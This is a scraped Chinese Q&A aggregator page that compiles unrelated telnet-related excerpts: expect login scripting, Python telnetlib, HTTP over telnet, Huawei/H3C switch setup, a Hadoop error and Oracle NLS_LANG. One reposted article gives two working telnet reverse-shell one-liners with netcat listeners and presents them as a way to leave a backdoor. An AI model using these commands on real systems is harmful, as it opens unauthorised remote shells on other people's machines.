telnet

Shell script successful telnet login, how to issue commands after that?

耗尽温柔 提交于 2019-11-30 00:23:50
问题 #!/usr/bin/expect -f spawn telnet 10.21.0.17 expect -re "login" send "admin\n" expect -re "Password" send "supersecurepassword\n" interact works as expected. Upon running the script I am logged in to whatever telent IP I used in the line spawn telnet 10.21.0.17 Then it drops me to the Shell of the AP WAP-> How do I issue further commands? I'd like to issue reboot and then maybe a sleep 20 and finally exit . I have tried using echo and expect with no success. I've also tried with removing the

Telnet automation / scripting [closed]

不羁的心 提交于 2019-11-29 22:42:05
I have already checked this question but could not find what I'm looking for. I am running Windows (the client), and the server is a legacy mainframe type server. Basically I need to write a script, python code or whatever, to send some know commands to the server via telnet, and preferable capture the output. Then return when done. What's the best approach? There's a python library for telnet connections that reads and writes from/to a telnet connection. Check the link. It has some basic examples of what you are looking for. Here's an example from the link: import getpass import sys import

How to send an HTTP request using Telnet [closed]

杀马特。学长 韩版系。学妹 提交于 2019-11-29 19:57:04
How to get a web page's content using Telnet ? For example, the content of https://stackoverflow.com/questions . telnet ServerName 80 GET /index.html stefan bachert You could do telnet stackoverflow.com 80 And then paste GET /questions HTTP/1.0 Host: stackoverflow.com # add the 2 empty lines above but not this one Here is a transcript $ telnet stackoverflow.com 80 Trying 151.101.65.69... Connected to stackoverflow.com. Escape character is '^]'. GET /questions HTTP/1.0 Host: stackoverflow.com HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 ... For posterity, your question was how to send

[Shell]Telnet反弹shell

孤街浪徒 提交于 2019-11-29 19:18:27
原作者:包子love 文章出处:黑白之道 今天给大家介绍两种telnet反弹shell的方法,相对于其他方式反弹shell要简单一点,可作为按需远程控制或留后门使用,希望可以帮助到大家。 前提条件:目标机为linux系统并支持telnet服务;攻击机支持telnet服务,攻击机装有NC (windows、linux均可)。 这里我准备了一个公网服务器和一个本地虚拟机,公网服务器为攻击机,虚拟机为目标机。 0x01 第一种 1.攻击机先执行监听:nc -l 2222 2.目标机执行:mknod a p; telnet x.x.x.x 2222 0<a | /bin/bash 1>a (x.x.x.x为攻击机ip) 3.攻击机已经获得shell(没有提示),尝试执行命令: 0x02 第二种 1.攻击机需要开两个终端分别监听两个端口:nc -l 6666,nc -l 5555 2.目标机执行:telnet x.x.x.x 6666 | /bin/bash | telnet x.x.x.x 5555 (x.x.x.x为攻击机ip) 3.目标机已经获得shell,尝试执行命令(第一个终端执行命令会在第二个终端回显): 这就是利用telnet反弹shell的两种方式,当然也不仅有这两种,网上可以找到其他各种反弹的方式,不过原理都差不多。 本次演示使用的两个系统都是centos7

华为 ENSP Switch Telnet连接设置

泄露秘密 提交于 2019-11-29 19:12:57
ENSP云设置 [S2]undo info-center enable \\关闭信息中心功能 Info: Information center is disabled. [S2]interface Vlanif 1 \\进入管理vlanif [S2-Vlanif1]ip address 192.168.205.102 24 \\设置IPaddress [S2] [S2]user-interface vty 0 4 \\指定虚拟用户终端接口 [S2-ui-vty0-4]authentication-mode aaa \\配置用户 终端接口认证方式 AAA进行认证 [S2-ui-vty0-4]user privilege level 3 \\设置用户优先等级为3 [S2-ui-vty0-4]idle-timeout 10 \\设置终端用户超时间 10分钟 [S2-ui-vty0-4]q [S2] [S2]aaa \\进入AAA [S2-aaa]local-user admin password cipher admin \\创建用户及设置密码(用户:admin,密码:admin) [S2-aaa]local-user admin privilege level 3 \\管理用户等级3 [S2-aaa]local-user admin service-type telnet \

hadoop - Connection refused on namenode

回眸只為那壹抹淺笑 提交于 2019-11-29 18:33:15
问题 I've searched web and stackoverflow for a long time but it was not useful. I have installed hadoop yarn 2.2.0 in 2 node cluster setup. but something goes wrong. when I start hadoop daemons using start-dfs.sh and start-yarn.sh on master node, they successfully run in master and slave (my master's hostname is RM and my slave's hostname is slv). they can ssh each other successfully. but when I want to run a job, this error appears: 14/01/02 04:22:53 WARN util.NativeCodeLoader: Unable to load

在 Unix 环境中正确设置 NLS_LANG (文档 ID 1548858.1)

杀马特。学长 韩版系。学妹 提交于 2019-11-29 12:06:13
在 Unix 环境中正确设置 NLS_LANG (文档 ID 1548858.1) 适用于: Oracle Database Cloud Schema Service - 版本 N/A 和更高版本 Oracle Database Exadata Express Cloud Service - 版本 N/A 和更高版本 Oracle Database Exadata Cloud Machine - 版本 N/A 和更高版本 Oracle Cloud Infrastructure - Database Service - 版本 N/A 和更高版本 Oracle Database Backup Service - 版本 N/A 和更高版本 本文档所含信息适用于所有平台 目标 说明如何在 Unix 环境中正确设置 NLS_LANG。 解决方案 请注意Server使用的LANG和NLS_LANG变量并不会影响通过Listener连接进来的客户端。 要调试显示问题(当您看到奇怪的符号或字符,如 "?" , "¿" or "ÃÂÃÂÂ"),请首先使用 Oracle SQL Developer 进行调试。 Oracle SQL Developer 是一款无需在客户端进行 Oracle NLS 配置的“已知的可用客户端”。 检查配置 Oracle SQL Developer 的文档及截屏请参见

No such host is known socket connection

半腔热情 提交于 2019-11-29 11:38:35
I'm trying to work with this library for telnet connections. I have called the function correctly and it executes the code below but fails giving the following error: System.Net.Sockets.SocketException was unhandled HResult=-2147467259 Message=No such host is known Source=System ErrorCode=11001 NativeErrorCode=11001 StackTrace: at System.Net.Sockets.TcpClient..ctor(String hostname, Int32 port) at MinimalisticTelnet.TelnetConnection..ctor(String Hostname, Int32 Port) in c:\users\kylec\documents\visual studio 2010\Projects\Mail Server Capture\Mail Server Capture\TelnetInterface.cs:line 36 at

How to disable telnet echo in python telnetlib?

北战南征 提交于 2019-11-29 11:22:54
Hi I known that I should send 'IAC DONT ECHO' message, but how may I do that using telnetlib?? Here is my test, but it doesn't work. #!/usr/bin/env python2 u"""test""" # -*- coding: utf-8 -*- import sys import telnetlib import time HOST = "10.10.5.1" tn = telnetlib.Telnet(HOST, timeout=1) tn.read_until("login: ") tn.write("login\n") tn.read_until("Password: ") tn.write("pass\n") print "###########" time.sleep(0.5) print tn.read_very_eager() tn.write("ls /\n") time.sleep(0.5) print tn.read_very_eager() # diable echo here tn.write(telnetlib.IAC + "\n") tn.write(telnetlib.DONT + " " + telnetlib

H3C的由来及基础配置

故事扮演 提交于 2019-11-29 07:22:59
博文目录: 一、H3C的由来 1、H3C产品体系 2、H3C与Cisco命令对比 二、H3C基础配置 1、主机名与接口配置 2、配置Telnet接入(用户名和密码双认证) 3、配置静态默认路由 4、配置VLAN与Trunk 5、配置ACL 6、配置NAT 7、配置策略路由 一、H3C的由来 H3C的前身华为3COM公司,是华为与美国3COM公司的合资公司。2006年11月,华为将其在3COM中49%股权以8.8亿美元卖给3COM。2007年4月,公司正式更名为“杭州华三通信技术有限公司”,简称“H3C”。 当前数据通信市场主要分为电信运营商和企业网市场,华为一直专注于运营商市场,而H3C主要专注于企业网市场。Cisco的业务则横跨运营商和企业网市场,并在这两个市场上保持一定的领先地位。在运营商市场上华为是Cisco的主要对手,在企业网市场上H3C是Cisco的主要对手。Cisco在能源、金融、国际企业、电力等行业有优势,而H3C在政府、烟草、交通、中小型企业及相关的政府采购有优势。在中国路由器与交换机领域,H3C的市场份额已位居第一。 1、H3C产品体系 经过多年的发展,H3C网络产品线已经具有业界最全的网络产品,包括全系列路由器、交换机、WLAN、ICG信息通信网关和业务软件产品。同时H3C始终探索客户需求,为用户提供新一代统一交换架构数据中心解决方案、IPv6解决方案